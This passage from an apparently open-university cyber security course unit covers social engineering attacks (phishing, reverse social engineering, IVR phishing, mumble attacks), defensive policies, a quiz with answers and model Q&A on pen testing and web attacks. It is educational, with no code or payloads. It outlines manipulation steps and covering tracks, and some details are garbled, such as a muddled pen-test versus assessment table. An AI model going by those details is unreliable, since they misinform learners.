information. 
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4.5.4 Trojan horses 

It is one of the most predominant methods currently used by hackers that involve tricking 
the victims to download a malicious file to the system, which on execution creates a 
backdoor in the machine that can be used by the attacker any time in the future and thus 
having complete access of the victim’s machine. 

4.5.5 Phishing 

It is the act of creating and using Websites and e-mails designed to look like those of 
well-known legitimate businesses, financial institutions and government agencies to 
deceive Internet users into disclosing their personal information and falsely claiming to 
be an established legitimate enterprise in an attempt to scam the user into surrendering 
private information that will be used for identity theft. 

4.5.6 Surfing Organization Websites & Online forums 

Huge amount of information regarding the organization structure, email ids, phone 
numbers are available openly on the company website and other forums. This information 
can be used by the attacker to refine his approach and create a plan on whom to target and 
the method to be used. 

4.5.7 Reverse Social Engineering 

A reverse social engineering attack is an attack in which an attacker convinces the target 
that he has a problem or might have a certain problem in the future and that the attacker, 
is ready to help solve the problem. 

Reverse social engineering involves three parts: 

1. Sabotage: After the attacker gains a simple access to the system, he corrupts the 
system or gives it an appearance of being corrupted. When the user sees the system in the 
corrupted state, he starts looking for help so as to solve the problem. 
 
2. Marketing: In order to make sure that the user approaches the attacker with the 
problem, the attacker advertises himself as the only person who can solve the problem. 
 
3. Support: In this step, he gains the trust of the target and obtains access to sensitive 
information. 

4.6 Different Types of Social Engineering 

There are many types of social engineering attacks, but they can be broadly split into 
three categories viz.  

1. Physical social engineering,  
2. Remote social engineering and  
3. Hybrid social engineering.  
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In physical social engineering, the attacker attempts to gain physical access to a sensitive 
office or location, and in remote social engineering the attacker attempts to gain access to 
information or resources remotely, for example, over the phone or via email. Some 
attackers combine both strategies, known as hybrid social engineering. For example, the 
physical breach may follow a series of remote social engineering attempts. Often social 
engineering is combined with a technical attack, making for an extremely effective and 
dangerous assault. The types of social engineering attacks are reflected in the various 
social engineering tests you can perform. 

4.6.1 Physical Social Engineering 

In a physical social engineering attack, the social engineer attempts to gain access to a 
physical location. The attacker may do this via various methods, including: 

 Piggybacking: Used to enter restricted area by convincing an authorized personal. 

 Eavesdropping: Attacker can gain information by hearing a discussion between two 
people, or by reading emails and listening to telephonic conversation. 

 Impersonation: The attacker acts like someone else to trap the victim. 

 Dumpster Driving: Valuable information can often be found on trash, printers and 
pieces of paper. 

 Reverse Social Engineering: It is a more advanced method. In this the attacker 
creates a scenario where the victim ends up asking for information to the attacker and 
in this process ends up providing the required information to the attacker. Typically 
the attacker appears to be in a position of authority to ensure the victim has to reach 
out to him for resolution of a problem which the attack has set up for him. Reverse 
social engineering requires good pre-attack research and planning, however if 
executed well it is more successful in attaining gaining quality information. 

4.6.2 Remote Social Engineering 

Remote social engineering involves pointed and real-time communication with the target 
over the phone or via email or via instant messaging. They will use technology so they 
can perform these social engineering attacks remotely such as by phone, email, social 
media, instant messaging and even from search engine results Physical honeypots are 
found wide impact as well with CD's & USB Keys - This uses items planted to lure 
employees to run payloads. 

4.6.3 Computer-Based Social Engineering 

Computer based social engineering is implemented by using software or programming 
applications like E-Mails, IM, websites, pop-ups. 

4.6.3.1 Social Engineering by Email 

Social engineering emails take many forms. The social engineer tries to build rapport as a 
precursor to the actual breach, or she tries to elicit information or spread malware by 
tricking the email recipient into opening a malicious attachment or visiting a malicious 
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website.  Two of the most common forms of social engineering over email are phishing 
and 419 scams. 

4.6.3.2 Phishing 

Phishing emails typically take the form of fake notifications purporting to be from a well-
known organization (often banks, payment systems, Software vendors for possible 
update), asking for the recipient’s personal information including user credentials, credit 
card numbers, or banking information. Some examples are an email looking like it's from 
your bank asking you to verify details or a phone call pretending to be from a company 
that you trust (including your own company) requesting you to divulge confidential 
information like a pin number. 

4.6.3.3 Nigerian 419 or Advance-Fee Fraud Scam 

An Advanced-fee scam is a type of fraud and one of the most common types of 
confidence trick. The scam typically involves promising the victim a significant share of 
a large sum of money, which the fraudster requires a small up-front payment to obtain. Or 
E-mail messages are sent to addresses taken from large mailing lists. The letters promise 
rich rewards for helping officials of that government (or bank, or quasi-government 
agency or sometimes just members of a particular family) out of an embarrassment or a 
legal problem. Typically, the pitch includes mention of multi-million dollar sums, with 
the open promise that you will be permitted to keep a startling percentage of the funds 
you're going to aid in squirreling away for these disadvantaged foreigners. If a victim 
makes the payment, the fraudster either invents a series of further fees for the victim, or 
simply disappears. It is named after the article of the Nigerian penal code under which the 
perpetrator can be prosecuted.   

4.6.3.4 Pop-Up Windows / Browser Interceptions 

Pop-ups messages informing the user that he/ she has lost his/her network connection and 
needs to re-enter his/ her username and password or the system has been infected with 
malware. Need to download software to get them cleaned and further divulge sensitive 
information and are sent to attackers.   

4.6.4 Social Engineering by Phone 

The social engineer attempts 
to get the victim to disclose 
sensitive information or to 
perform an action such as 
visiting a malicious website 
or granting the social 
engineer access to a certain 
system. The caller generally 
assumes a false identity and 
may use various techniques 



                                                                                      Post Graduate Diploma in Cyber Security          
  

Odisha State Open University 64 

 

 

to convince the victim, such as being overly friendly, acting in an authoritative manner, 
or applying pressure. The caller may purport to be from tech support or an anti-virus 
organization, a financial institution, or even a charity.  

In many business cultures, challenging someone’s identity is not socially acceptable and 
may be seen as impolite, so getting away with assuming a false identity may be easier 
than you think. 

4.6.4.1 Mumble Attack 

Mumble attacks are telephonic social engineering attacks targeted at call centre agents. 
The social engineer poses as a speech-impaired customer or as a person calling on behalf 
of the speech-impaired customer. Victims of the attack are often made to feel awkward or 
embarrassed and release information as a result.  

4.6.4.2 IVR or Phone Phishing 

The use of an Interactive Voice Response (IVR) system to create an official-sounding 
bank IVR system to trick people into providing their personal information. An example is 
where a hacker will pose as a bank employee or even use another IVR message to advise 
the target they have to call into the bank to correct an issue. They provide a number (not 
the bank's) for the target to call in on and when he/she does, they record their account 
information as it is entered into the phone.  A hacker could even perform something 
similar in that they use the same method, but instead attack a company employee in order 
to have them attempt to enter their password via the telephone. 

4.7 Detecting / Stopping Social Engineering Attacks 

The simplest way to defend against social engineering attacks is to use common sense.  If 
something seems suspicious or does not feel right, it may be an attack.  Some common 
indicators of a social engineering attack include: 

1. Someone creating a tremendous sense of urgency.  If you feel like you are under 
pressure to make a very quick decision, be suspicious. 

2. Someone asking for information they should not have access to or should already 
know. 

3. Something too good to be true.  A common example is you are notified you won the 
lottery, even though you never even entered it. 

If you suspect someone is trying to make you the victim of a social engineering attack, do 
not communicate with the person any more.  If it is someone calling you on the phone, 
hang up.  If it is someone chatting with you online, terminate the connection.  If it is an 
email you do not trust, delete it. If the attack is work-related, be sure to report it to your 
help desk or information security team right away. 
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4.8 Defending Against Social Engineering 

Successful social engineering attacks rely on the employees of an organization. To avoid 
such  attacks, employees must be well trained and familiar about common social 
engineering techniques, inform them about the value of information, and train them to 
safeguard it. It is also important for organizations to establish a clear and strong security 
policy, including standards, processes and procedures to help eliminate the threat of 
social engineering.  

A good social engineering defense should include but not be limited to: 

 Security awareness training. 

 Password policies. 

 Data classification. 

 Acceptable use policy. 

 Background checks. 

 Termination process. 

 Incident response. 

 Physical security. 

Continuous Security awareness training for employees   

Organizational policies, procedures and standards must be taught and reinforced to the 
employees during orientation and during the employment on a regular basis. Security 
awareness events and activities, such as talks, awareness weeks, presentations, seminars, 
quizzes, and competitions, dedicated web-presence (an internal webpage, twitter handles, 
etc.)  maintain the mainstream security current trends and issues and educate about the 
social engineering best practices. Points which should be highlighted in the employees 
training are:    

a. Data classification policy 
This should describe what information is considered to be sensitive or confidential, how 
it should be marked, how it should be handled, and who it can be released to, as well as 
how to dispose of it. Example data classification levels might include the following: 

i.Top Secret: Highly sensitive internal documents e.g. pending mergers or acquisitions, 
investment strategies, plans or designs that could seriously damage the organization if 
such information were lost or made public. Information classified as Top Secret has 
very restricted distribution and must be protected at all times. Security at this level is 
the highest possible. 

ii.Confidential: Data in this category may require certain levels of protection by law, for 
example, personally identifiable information, health information, certain employee 
data, certain business and financial data. 

iii.Restricted: Data in this category should only be accessible to certain roles or 
functions. For instance, it may be restricted to certain departments, such as employee 
information being restricted to the HR department or systems data being restricted to 
the IT department. 
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iv.Internal Use Only: Information not approved for general circulation outside the 
organization where its loss would inconvenience the organization or management but 
where disclosure is unlikely to result in financial loss or serious damage to credibility. 
Examples would include, internal memos, minutes of meetings, internal project 
reports. Security at this level is controlled but normal. 

v.Public: There is no expectation of privacy or confidentiality for data in this category. 
It could include public website information, press releases, and so on. Each category 
should include requirements for protection; describe how the data should be stored, 
who can access the data, and how it should be disposed of. Take every type of data 
that your organization processes, including customer data, user data, and supplier data, 
and assign it to one of your defined categories. All staff should know how to handle 
and protect each category of information. 

b. Waste management 

This should include secure disposal of documents, electronic media, and so on, and 
should cover external as well as internal waste.  Invest in shredders and have one on 
every floor: Your staff must fully understand the implications of throwing waste paper or 
electronic media in a bin. After this waste moves outside your building, its ownership can 
become a matter of legal obscurity. 

c. Acceptable use policy 

This should describe what is considered acceptable use of computer systems and 
equipment within the organization. It should cover system accounts, network use, and 
electronics communications, use of non-company hardware or software, as well as 
monitoring of the same. 

d. Network access policy 
e. This should cover wired and wireless network access, including IP telephony and 
mobile devices; it should describe who can access the network, how and from where, 
public access, guest access, and what is and is not permitted on the corporate network. 
f. Remote access policy 

This should document remote access requirements, who can connect, requirements for 
connecting, termination of access, and so on. 

g. Physical security policy 
This should cover the various aspects of physical security, including visitor procedures 
and physical access logs. 
h. Electronic communication policy  

This should describe how to handle email attachments, hyperlinks in documents, and 
requests for information from both within and outside the organization, what instant 
messaging services staff are permitted to use, if any. Some policies may include examples 
of phishing attacks to help users to identify phishing attacks that they themselves receive.  
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i.  Physical Security Policy visitors  

Your physical security policy should, at a minimum, consider the following areas 
regarding visitors: 

 Checking in and checking out: Visitors should be required to check-in and check-out 
in a dedicated area, usually the reception area. The process typically involves signing a 
visitors/contractors book and contacting the person that the visitor is meeting so he or she 
can escort them into the building. 

 Identifying visitors; Visitors should be required to present some kind of 
identification. 

 Escorting visitors: Visitors should always be escorted by an existing staff member 
(not by another visitor or contractor) into the organization. 

 Visitor passes: Are the visitors required to wear visitor passes? If so, they should be 
required to return their visitor passes upon checking out.  Some more security-focused 
organizations use different colored passes for different areas or different days of the 
week. Visitor passes should, at least, be dated. Employees should be encouraged to 
challenge anyone not wearing an ID badge or a visitor pass. Visitor passes should be 
returned on leaving the building. Follow up on passes that have not been returned. 

 Accessing the network: Can visitors access the computer network, and, if so, where 
from and how? Can they connect their own devices to the network? 
j. Password Policies and Standards  

For a social engineer, gaining access to a system can mean the difference between a 
successful or failed attack. A policy should exist for the delivery and creation of 
passwords.  There must exist good and written password policy such as Not sharing 
passwords when asked (over phone also), Not writing down passwords ,not using default 
passwords ,methods for identifying users for password resets ,methods for password 
delivery, password creation i.e. minimum length, alpha-numeric, securing workstation 
with a password protected screen saver when before leaving a workspace, periodic 
password change, grace period for expiring passwords ,login failure lockout i.e. account 
is locked after 3 failed attempts, administrative and system password standards.  

Having a strong password is extremely important in any environment in particular 
environments using single sign-on technologies. Single sign-on allows users to use one 
password to access a wide range of network resources. Although these systems can help 
diminish the stress of remembering multiple passwords, it also means that there is only 
one password to crack.   

“Treat your password like your toothbrush. Don't let anybody else use it, and get a new 
one every six months”. Clifford Stoll. 

Users should be well aware about the password policies and enforce himself. The 
windows password should be complex that can foil attempts from crackers and tools. 
Your passwords should be long (min 12+) and also use upper and lowercase, digits and 
alphanumeric symbols. The best way is to create passphrases like “I learn diploma from 
U.O.U which can be translated to “Ile@rn-d1pl0mafr0mU0U”   
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There is also a hidden account called “Administrator” which you should also protect with 
a password, but it first has to be enabled, as it is disabled by default. So enable the 
Administrator account, set a password, and remember to disable it later.   

Please refer to the website: http://passrequirements.com/ which explains the basic 
password requirement for various usage. 

 Don’t use same password everywhere. If one of the passwords is discovered (by a key 
logger) and if you use the same in email services, you can guess the results. 
 

 From windows command prompt, type “secpol.msc” and which leads to you the local 
security policy window. Select the account policies > password policy and configure 
according to your need. 

 

 

 

 

 

 

 

 

 

Note:  

Try using Password Management Programs Like Keepass 

Passwords protect your BIOS, so that people cannot boot your PC. You should change 
the boot order in the BIOS so that it boots the hard drive first, rather than the CD/DVD. If 
an attacker can insert a Linux Live CD and start up your PC, then they will be able to 
mount your hard drive and read all data from it, and all Windows security will be 
bypassed. 

4.9 Summary 

Social engineering is a very real threat and one that currently has fairly free reign. This 
will not always be true. Once businesses start taking social engineering seriously and 
applying the social sciences to protect against this threat with a multi-layered defense, 
social engineering will become a much more difficult, if not impossible, avenue for a 
hacker to employ. 

Social engineering is a serious problem. A company must not only establish good policies 
to guard against it, but must have an effective security awareness program to 
communicate those policies. The program should not just reiterate the policies but 
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educate the users to the methods used by social engineers and the risks involved if they 
succeed. As one of the major points of vulnerability is people, education is an important 
factor. Although awareness and training can “harden” your staff, it may not prevent all 
social engineering attacks from being successful. Convincing social engineers may still 
be able to mislead your staff; therefore, you need to implement physical and technical 
controls to minimize the damage done. 

Check your Progress 

 
1. Malware analysis is the art of ___________ malware to understand how it works, how 

to identify it, and how to defeat or eliminate it. 
2. The purpose of malware analysis is usually to provide the information you need to 

respond to a _____________. 
3. _____________ are used to detect malicious code on victim computers. 
4. ________________ are used to detect malicious code by monitoring network traffic. 
5. ________________ usually let the attacker connect to the computer with little or no 

authentication and execute commands on the local system. 
6. ______________ malware designed to frighten an infected user into buying 

something. 
7. ____________ are found as both stand-alone malware and as components of more 

sophisticated backdoors. 
8. On Windows XP, Microsoft’s ________________ interception is a technique that 

malware uses to steal user credentials. 
9. _____________ is a classic user-space rootkit method that hides files, processes,or 

network connections on the local system. 
10. __________ from Faronics is a useful tool to use when performing malware analysis 

on physical hardware. 
11. ___________is considered to be electronic junk mail or junk newsgroup postings. 
12. Cyber-attacks aimed at penetrating a corporation by injecting malware delivered by 

_______ to an employee. 
13. Spear phishing is also being used against high-level targets, in a type of attack called 

________. 
14. The art of manipulating people into performing actions or divulging confidential 

information is known as ________________. 
15. The technique of accumulating information regarding the target(s) and the 

surrounding environment is _____________. 
16. __________________ is the attacker acts like someone else to trap the victim. 
17. ________________ are telephonic social engineering attacks targeted at call centre 

agents. 
18. Valuable information can often be found on trash, printers and pieces of paper is 

known as ___________. 
19. __________ is one of the most predominant methods currently used by hackers that 

involve tricking the victims to download a malicious file to the system. 
20. __________________ involves persuading or gathering information through the use 

of an online chat session, emails, and phone. 
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Answers to Check Your Progress  
 
1. Dissecting.    11. Spam. 
2. Network intrusion.   12. Email. 
3. Host-based    signatures.  13. Whaling. 
4. Network signatures.   14. Social Engineering. 
5. Backdoors.    15. Footprinting. 
6. Scareware.    16. Impersonation. 
7. Reverse shells.   17. Mumble attacks. 
8. GINA.     18. Dumpster Diving 
9. IAT hooking.               19. Trojan horses. 
10. Deep Freeze.    20. Role Playing    
    

Model Questions With Answers 

1. What Is Malware Analysis? 

Ans.Malware analysis is the art of dissecting malware to understand how it works, how 
to identify it, and how to defeat or eliminate it. And you don’t need to be an uber-hacker 
to perform malware analysis. 
 
With millions of malicious programs in the wild, and more encountered every day, 
malware analysis is critical for anyone who responds to computer security incidents. 
And, with a shortage of malware analysis professionals, the skilled malware analyst is in 
serious demand. 

2. What are the different developmental goals of uses for Malware Analysis? 

Ans. The goals to determine exactly what happened, and to ensure that you’ve located 
all infected machines and files.Malware analysis can be used to develop Host-based and 
Network signatures. 

Host-based signatures or indicators, are used to detect malicious code on victim 
computers. These indicators often identify files created or modified by the malware or 
specific changes that it makes to the registry. Unlike antivirus signatures, malware 
indicators focus on what the malware does to a system, not on the characteristics of the 
malware itself, which makes them more effective in detecting malware that changes 
form or that has been deleted from the hard disk. 
 
Network signatures are used to detect malicious code by monitoring network traffic. 
Network signatures can be created without malware analysis, but signatures created with 
the help of malware analysis are usually far more effective, offering a higher detection 
rate and fewer false positives. 
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3. What are the fundamental approaches to malware analysis? 

Ans. static and dynamic. Static analysis involves examining the malware without 
running it. Dynamic analysis involves running the malware. 

4. Write the general rules for malware analysis. 

Ans. Several rules to keep in mind when performing analysis. 

 1st, don’t get too caught up in the details. Most malware programs are large and 
complex, and you can’t possibly understand every detail. Focus instead on the key 
features. When you run into difficult and complex sections, try to get a general 
overview before you get stuck in the weeds. 

 
 2nd, remember that different tools and approaches are available for different jobs. 

There is no one approach. Every situation is different, and the various tools and 
techniques that you’ll learn will have similar and sometimes overlapping 
functionality. If you’re not having luck with one tool, try another. If you get stuck, 
don’t spend too long on any one issue; move on to some-thing else. Try analyzing 
the malware from a different angle, or just try a different approach. 

 
 3rd, remember that malware analysis is like a cat-and-mouse game. As new 

malware analysis techniques are developed, malware authors respond with new 
techniques to thwart analysis. To succeed as a malware analyst, you must be able 
to recognize, understand, and defeat these techniques, and respond to changes in 
the art of malware analysis. 

5. What is remote administration tool (RAT)? 

Ans.A remote administration tool (RAT) is used to remotely manage a computer or 
computers. RATs are often used in targeted attacks with specific goals, such as 
stealing information or moving laterally across a network. 

 
6. State and write about Identity spoofing. 
Identify spoofing is one of the main vulnerabilities inherent to the design of the email 
system. In an identify spoofing attack an adversary is able to impersonate the identity 
of a legitimate email user and send emails to third parties on his behalf. In most of the 
attack scenarios the legitimate user will never realise that someone has impersonated 
his/her identity. 

7. What are the benefits of VPAT? 

Ans.  They are: 

 Avoid network downtime due to breach. 

 Discover methods that hackers use to compromise the network. 

 Enhancive effectiveness of an overall security life cycle. 

 Provide a strong basis for helping to determine appropriate security budgets. 
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8. What do you mean by Denial of Service test? 
Ans. A DoS (Denial of Service) test can be performed to test the stability of production 
systems in order to show if they can be crashed or not. When performing a penetration 
test of a production system, it is important to test its stability and how easily can it be 
crashed.  By doing this, its stability can be ensured once it is deployed into a real 
environment. It is important to perform DoS attack to ensure the safeness of certain 
systems. If an attacker takes down your system during busy or peak hours, this could 
lead to significant financial losses. 

9. What are the reasons for vulnerability existence? 

Ans. They are: 

 Insecure coding practices. 

 Developer education not focused on security. 

 Limited testing budget and scope. 

 Disjoined security processes. 

 More resources outside than inside. 

10. Let us show how does the SQL injection happen? 

Ans. They can be by: 

1. SQL injection vulnerabilities most commonly occur when the Web application 
developer does not ensure that values received from a Web form, cookie, input 
parameter, and so forth are validated or encoded before passing them to SQL 
queries that will be executed on a database server. 

2. If an attacker can control the input that is sent to an SQL query and manipulate 
that input so that the data is interpreted as code instead of as data, he may be able 
to execute code on the back-end database. 

3. Without a sound understanding of the underlying database that they are interacting 
with or a thorough understanding and awareness of the potential security issues of 
the code that is being developed, application developers can often produce 
inherently insecure applications that are vulnerable to SQL injection. 

 
11. From your own word make us understand what is cross-site scripting? 

Ans. If the web site allows uncontrolled content to be supplied by users. User can 
introduce malicious code in the content for example: Modification of the Document 
Object Model-DOM (change some links, add some buttons), Send personal 
information to third party (JavaScript can send cookies to other sites). 

 XSS attacks involve three parties: 

1. The attacker. 
2. The victim. 
3. The vulnerable web site that the attackerexploits to take action on the victim. 
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XSS vulnerabilities exist when a web application accepts user input through HTTP 
requests such as a GET or a POST and then redisplays the input somewhere in the 
output HTML code. 

12.  What do you mean by penetrating testing? 

Ans. Penetration testing is a type of security testing that is used to test the insecurity of 
an application. It is conducted to find the security risk which might be present in the 
system. 

If a system is not secured, then any attacker can disrupt or take authorized access to 
that system. Security risk is normally an accidental error that occurs while developing 
and implementing the software. For example, configuration errors, design errors, and 
software bugs, etc. 

The penetration testing process has three primary components: 

1. Defining the scope. 
2. Performing the penetration test. 
3. Reporting and delivering results. 

13. Why is Penetration Testing Required? 

Ans. Penetration testing normally evaluates a system’s ability to protect its networks, 
applications, endpoints and users from external or internal threats. It also attempts to 
protect the security controls and ensures only authorized access.   

Penetration testing is essential because: 

1. It identifies a simulation environment i.e., how an intruder may attack the system 
through white hat attack. 

2. It helps to find weak areas where an intruder can attack to gain access to the 
computer’s features and data. 

3. It supports to avoid black hat attack and protects the original data. 
4. It estimates the magnitude of the attack on potential business. 
5. It provides evidence to suggest, why it is important to increase investments in 

security aspect of technology. 

14. Write the steps for analyzing Information and Risks in details? 

Ans.In this step, tester analyzes and assesses the information gathered before the test 
steps for dynamically penetrating the system. Because of larger number of systems and 
size of infrastructure, it is extremely time consuming. While analyzing, the tester 
considers the following elements: 

1. The defined goals of the penetration test. 
2. The potential risks to the system. 
3. The estimated time required for evaluating potential security flaws for the 

subsequent active penetration testing. 
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However, from the list of identified systems, the tester may choose to test only those 
which contain potential vulnerabilities. 

15.Differentiate between penetration testing vs. vulnerability assessment 

Ans. 

Penetration Testing Vulnerability Assessments 

Determines the scope of 
an attack. 

Makes a directory of assets and resources in 
a given system. 

Tests sensitive data 
collection. 

Discovers the potential threats to each 
resource. 

Gathers targeted 
information and/or 
inspect the system. 

Allocates quantifiable value and 
significance to the available resources. 

Cleans up the system and 
gives final report. 

Attempts to mitigate or eliminate the 
potential vulnerabilities of valuable 
resources. 

It is non-intrusive, 
documentation and 
environmental review 
and analysis. 

Comprehensive analysis and through review 
of the target system and its environment. 

It is ideal for physical 
environments and 
network architecture. 

It is ideal for lab environments. 

It is meant for critical 
real-time systems. 

It is meant for non-critical systems. 

 

16. Write at least three definitions for social engineering.  

Ans. “An outside hacker’s use of psychological tricks on legitimate users of a 
computer system, in order to obtain information he needs to gain access to the system”. 

 “The practice of deceiving someone, either in person, over the phone, or using a 
computer, with the express intent of breaching some 
level of security either personal or professional”. 

 “Social Engineering is a non-technical kind of 
intrusion relying heavily on human interaction which 
often involves tricking other people into breaking 
normal security procedures” the attacker uses social 
skills and human interaction to obtain information 
about an organization or their computer systems. 

17. Draw and discuss the social engineering life cycle. 

Ans. 

Every Social Engineering attack is unique, but with a little 
understanding of the situations encountered, we can draft 
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a rough cycle of all the activities that a Social Engineering project goes through 
leading to a successful outcome. 

The below figure-1 shows a general representation of the Social Engineering Life 
Cycle in four main stages: 

Footprinting: 

It is the technique of accumulating information regarding the target(s) and the 
surrounding environment. Footprinting can reveal the individuals related to the target 
with whom the attacker has to establish a relationship, so as to improve the chances of 
a successful attack. 

The information gathering during the Footprinting phase includes but is not limited to: 

1. List of employee names and phone numbers 
2. Organization Chart  
3. Department Information  
4. Location information 

Footprinting generally refers to one of the pre-attack phases; tasks performed prior to 
doing the actual Social Engineering attack.  

Some of the tools like creepy, SET and Maltego make Social Engineering engagements 
easier. 

Establishing Trust: 

Once the possible targets have been listed out, the attacker then moves on to develop a 
relationship with the target who is usually an employee or someone working in the 
business so as to develop a good rapport with them. 

The trust that the social engineer is gaining will later be used to unveil confidential 
pieces of information that could cause severe harm to the business. 

Psychological Manipulation: 

In this step, the social engineer manipulates the trust that he has gained in the previous 
phase so as to extract as much confidential information or get sensitive operations 
related to the target system performed by the employee himself so as to penetrate into 
the system with much ease. 

Once all the required sensitive information has been collected, the social engineer may 
move on to the next target or move towards exploiting the actual system under 
consideration. 

The Exit: 

Now, after all the actual information has been extracted, the Social Engineer has to 
make a clear exit in such a way so as not to divert any kind of unnecessary suspicion to 
himself. He makes sure to not leave any kind of proof of his visit that could lead a 
trace-back to his real identity nor link him to the unauthorized entry into the target 
system in the future. 
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18. Write short notes on reverse social engineering. 

Ans. A reverse social engineering attack is an attack in which an attacker convinces the 
target that he has a problem or might have a certain problem in the future and that the 
attacker, is ready to help solve the problem. Reverse social engineering involves three 
parts: 

1. Sabotage: After the attacker gains a simple access to the system, he corrupts 
the system or gives it an appearance of being corrupted. When the user sees the 
system in the corrupted state, he starts looking for help so as to solve the 
problem. 

2. Marketing: In order to make sure that the user approaches the attacker with the 
problem, the attacker advertises himself as the only person who can solve the 
problem. 

3. Support: In this step, he gains the trust of the target and obtains access to 
sensitive information. 

    19. Discuss aboutPhysical Social Engineering. 

Ans. In a physical social engineering attack, the social engineer attempts to gain access 
to a physical location. The attacker may do this via various methods, including: 

 Piggybacking: Used to enter restricted area by convincing an authorised personal. 

 Eavesdropping: Attacker can gain information by hearing a discussion between 
two people, or by reading emails and listening to telephonic conversation. 

 Impersonation: The attacker acts like someone else to trap the victim. 

 DumpsterDriving: Valuable information can often be found on trash, printers and 
pieces of paper. 

 ReverseSocialEngineering: It is a more advanced method. In this the attacker 
creates a scenario where the victim ends up asking for information to the attacker 
and in this process ends up providing the required information to the attacker. 
Typically the attacker appears to be in a position of authority to ensure the victim 
has to reach out to him for resolution of a problem which the attack has set up for 
him. Reverse social engineering requires good pre-attack research and planning, 
however if executed well it is more successful in attaining gaining quality 
information. 

20. What are the ways of detecting / stopping Social Engineering Attacks? 

Ans. The simplest way to defend against social engineering attacks is to use common 
sense.  If something seems suspicious or does not feel right, it may be an attack.  
Somecommon indicators of a social engineering attack include: 

 Someone creating a tremendous sense of urgency.  If you feel like you are under 
pressure to make a very quick decision, be suspicious. 

 Someone asking for information they should not have access to or should already 
know. 
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 Something too good to be true.  A common example is you are notified you won the 
lottery, even though you never even entered it. 

If you suspect someone is trying to make you the victim of a social engineering attack, 
do not communicate with the person any more.  If it is someone calling you on the 
phone, hang up.  If it is someone chatting with you online, terminate the connection.  If 
it is an email you do not trust, delete it. If the attack is work-related, be sure to report it 
to your help desk or information security team right away. 
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